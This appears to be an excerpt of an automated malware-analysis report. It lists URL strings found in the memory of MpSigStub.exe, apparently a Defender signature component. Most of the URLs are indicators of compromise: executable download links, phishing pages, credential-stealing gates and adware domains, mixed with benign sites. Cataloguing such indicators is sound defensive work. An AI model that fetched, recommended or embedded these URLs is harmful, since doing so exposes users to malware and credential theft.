        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://update.qyule.com/setup.exe
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://update.sykehuspartner.no/splunk/
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://update.utorrent.com/uninstall?type=%s-%U&h=%s&v=%d
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://update.windowssettings.org/patchwmp/__asf_script_command_ends_here__
        Source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmpString found in binary or memory: http://update.xiaoshoupeixun.com/tsbho.ini
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://updates-spreadwork.pw
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://updates.winsoftware.com/
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpString found in binary or memory: http://upgrade.onestepsearch.net
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://upload.exe
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://uploader.sx/uploads/2018/5b9ed5bc.exe
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://uprevoy.com/
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://urels.ml/sokha2.php
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://url.cn/
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://url.fzpmh.com/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://ursreklam.com/wp-content/themes/sketch/vall1/agh.doc
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://us.onesoftperday.com
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: http://usa-national.info/gpu/band/grumble.dot
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://usb.mine.nu/p.php
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: http://usd.881515.net/down/1.exe
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://user.qzone.qq.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://users.cpadown.com/ktv/
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://ushuistov.net/cgi-bin/check/autoaff
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://utclient.utorrent.com/pro/bittorrent/
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://utclient.utorrent.com/pro/flow/trial/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://uwibami.com/indexx.php)
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://uxos.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://v.baidu.com/srh.php?tn=oliver1_dg&word=%s
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://v.bddp.net
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://v.iask.com/v?tag=&k=%s
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://valentinadaddato.it//wp-includes/pomo/xcl/excelz/index.php
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://venus.ge/ds/1.gif
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://vequiato.sites.uol.com.br/
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://verred.net/?1309921
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://verticalagriculture.net/files/csrss.jar
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://vesterm.freehostia.com
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://vidalaviva.com/
        Source: MpSigStub.exe, 00000023.00000003.18315624417.0000015B1B02C000.00000004.00000001.sdmpString found in binary or memory: http://vidareal2010.pisem.su/imglog.exe
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://video-song-player-install-now.com/
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://videosoftonline.com/download
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://vidquick.info/cgi/
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://vidscentral.net/inc/6348852
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://vidscentral.net/inc/63488524/media_codecs/__asf_script_command_ends_here__
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://view.superweb.ws/site/folder.exe
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://vip.escritorioactivo.com/controlContinuidad.htm
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://vip.fanyarightway.com/360/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://vip.zeiwang.cn/images/logo.gif
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://vip9646.com
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://vipp.sitegoogle.cn/superj.asp
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://visuawsdyorganizationforyoungbraine19hqs.duckdns.org/document/invoice_
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://vjdevelopers.com/ad/index.html)
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://vkontakte.ru/login.php?
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://vnmxjcx.com/config.ini
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://vnz2107.ru
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://vod.7ibt.com/index.php?url=
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://voesttalpine.com/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://voguextra.com
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://volcanox.comxa.com/dix/disk
        Source: MpSigStub.exe, 00000023.00000003.18327831413.0000015B1A891000.00000004.00000001.sdmpString found in binary or memory: http://w.nanweng.cn/qy/gl
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://w.robints.us/614.htmlwidth=0height=0
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://w.robints.us/cnzz.htmlwidth=0height=0
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://w.robints.us/jf.htmlwidth=0height=0
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://w.w3c4f.com
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://w.woc4b.com
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://w.x.baidu.com/go/
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://w0rms.com/sayac.js
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://wac.edgecastcdn.net/800952/5b595c13-aea5-4a6c-a099-d29c4678f6f2-api/gfbs
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://walden.co.jp/wp/divorce/divorce.php?id=zxjpyy5tb3jyaxnvb
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://wallwishers.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://warmsnugfat.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://warningjustice.com/z.html#ymxpy2hazwfzdg1hbi5jb20=
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://watchbands365.com/wp-includes/css/pdfview/index.html
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://watchchurchonline.com/flc4/llc/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://weather.265.com/%s
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://weather.265.com/get_weather.php?action=get_city
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://web.nba1001.net:8888/tj/tongji.js
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpString found in binary or memory: http://web/cdr/DISP/plazma_2/backend/phone.php
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://webapp.torntv.com
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://webpatch.ragnarok.co.kr/
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://websearch.gettango.com/?
        Source: MpSigStub.exe, 00000023.00000003.18344332390.0000015B1C1B7000.00000004.00000001.sdmpString found in binary or memory: http://webspyshield.com/a/setup.exe
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://webye163.cn/hz
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: http://weeshoppi.com/wp-includes/id4/m4hg5vm7xsh6utv.exe
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://wef.grassrooters.org/index.php?xhimdbkblrjlcia
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://wermeer.cn/wermeer/report.php?title=
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://westcost0.altervista.org/w/api2.php?a=
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://western.net.pk
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://westernpinesbelize.com/lmb/login%20pdf.html
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://wevx.xyz/post.php?uid=
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://wewewewewesesesesasbacwederffggffddsss.duckdns.org/svch/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://wgdteam.jconserv.net
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://whatami.us.to/tc
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://whatismyip.com/automation/n09230945.asp
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://whenyouplaygood.com/s/gate.php?a
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://white.shougouji.top
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://whoisthis.100webspace.net/a.php?post=
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: http://wijmo.com/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://willy.pro.br/download
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://win-eto.com/hp.htm
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://win32.x10host.com/
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpString found in binary or memory: http://win7updates.com/
        Source: MpSigStub.exe, 00000023.00000003.18303365623.0000015B1C05E000.00000004.00000001.sdmpString found in binary or memory: http://winantiviruspro.net/buy.php?affid=
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://winbutler.com/a.php
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://windowstation.bar/opzi0na1la.dll
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://wingsfinger.com?
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://wingsfingers.com?
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://winmediapackage.com/rd/out.php
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://winshow.biz/feat/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://wizzcaster.com/api/v
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://wmr-moneys.org/config/line.gif
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://wmwifbajxxbcxmucxmlc.com/files/
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: http://woah90s.com/hqalzrakueii/nbsa
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://wojass.unitedcrew.netd
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://wordfiletransfertocustomer.mangospot.net/-.......................................-...........
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://wordgroup.bounceme.net/9cb6541e5b0d/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://workwear.shoppages.eu/tools/adobe.ph)
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://world4freeblog.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://worldnit.com/ofi.exe
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://worm.ws
        Source: MpSigStub.exe, 00000023.00000003.18342184671.0000015B1C358000.00000004.00000001.sdmpString found in binary or memory: http://worm.ws/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://wp.fanchen.cc/paid-invoice/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://wpitcher.com
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://wpr.mko.waw.pl/uploads/scheduler.txt
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://wsdygreenkegheedahatakankeadeshnaa30gas.duckdns.org/document/invoice_
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://wsfgfdgrtyhgfd.net//adv//
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://wsfgfdgrtyhgfd.net/adv/
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: http://wsus.chrobinson.com/scriptstothelocalcomputer
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://wtfismyip.com/text)echo
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://wvpt.net/invoice-receipt/
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://ww.fbi.gov/worldwidedlogs/addtobase.asp
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://wwsw.friendgreeting.net/pickup.aspx?code=
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://www-afc.chrom3.net/images/
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: http://www-search.net/?
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://www.%domain%/updates/check.html
        Source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmpString found in binary or memory: http://www.%s/MyFriends.jsp
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://www.%s/mail/MailCompose.jsp
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://www.%s/mail/MailCompose.jsp?ToMemberId=%s
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://www.%s/searchbar.html
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://www.114.
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://www.114Oldest.com/zz/mm.htm
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://www.126.com/
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.17173.com/
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpString found in binary or memory: http://www.178gg.com/lianjie/
        Source: MpSigStub.exe, 00000023.00000003.18402095009.0000015B1AE5E000.00000004.00000001.sdmpString found in binary or memory: http://www.180searchassistant.com/
        Source: MpSigStub.exe, 00000023.00000003.18402095009.0000015B1AE5E000.00000004.00000001.sdmpString found in binary or memory: http://www.180searchassistant.com/a
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://www.1882361.55freehost.com/voicemail.html)
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://www.22apple.com/?utm_source=b&ch=sof&uid=
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://www.22teens.com/
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://www.2345.com
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://www.2345.com/?18181
        Source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmpString found in binary or memory: http://www.2828hfdy.com/bak.txt
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://www.3000.ws/
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://www.31334.info/1stupload.php
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://www.3322.org/dyndns/getip
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://www.3800cc.com/
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://www.455465x.com/test/IP.asp
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://www.4dots-software.com/installmonetizer/emptyfoldercleaner.php/silentget
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://www.4shared.com/download/-u-Zcvyfce/SkyLinev5.exe
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://www.4shared.com/download/TZDZz2RBba/aTubeWD9.exe
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://www.4threquest.me/
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://www.4threquest.me/310714d/291014_nj.exe?
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://www.4threquest.me/310714d/310714_br.exe?
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://www.51jetso.com
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://www.51jetso.com/
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://www.520hack.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://www.52CPS.COM/goto/mm.Htm
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpString found in binary or memory: http://www.58816.com
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://www.5qbb.com
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://www.5z8.info/--initiate-credit-card-xfer--_g5l2og_autoinstall
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.6781.com/city/
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.6781.com/navhtm/nav
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.6781.com/tools/#
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://www.77169.net/
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://www.7sponsor.com/
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://www.887766.com/hi.htm
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://www.88vcd.com/htm/china/myb/send.asp?daqu=%s&xiaoqu=%s&user=%s&pass=%s&ckpass=%s&renwu=%s&lev
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://www.96333.com/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://www.9aaa.com
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://www.DanlodBazar.blogfa.com
        Source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmpString found in binary or memory: http://www.IM-Names.com/names
        Source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmpString found in binary or memory: http://www.IM-Names.com/namesa
        Source: MpSigStub.exe, 00000023.00000003.18315624417.0000015B1B02C000.00000004.00000001.sdmpString found in binary or memory: http://www.KJDhendieldiouyu.COM/CFDATA.ima?ccode=%s&cfdatacc=%s&gmt=%d
        Source: MpSigStub.exe, 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmpString found in binary or memory: http://www.LuckyAcePoker.com/install
        Source: MpSigStub.exe, 00000023.00000003.18300098662.0000015B1C3F4000.00000004.00000001.sdmpString found in binary or memory: http://www.MalwareAlarm.com/
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://www.PCKeeper.com
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://www.PlanetCpp.com
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://www.PriceFountain.net/go/postinstall/?action=install&partner=
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://www.Social2Search.com/privacy
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://www.acabogacia.org/doc0
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://www.acabogacia.org0
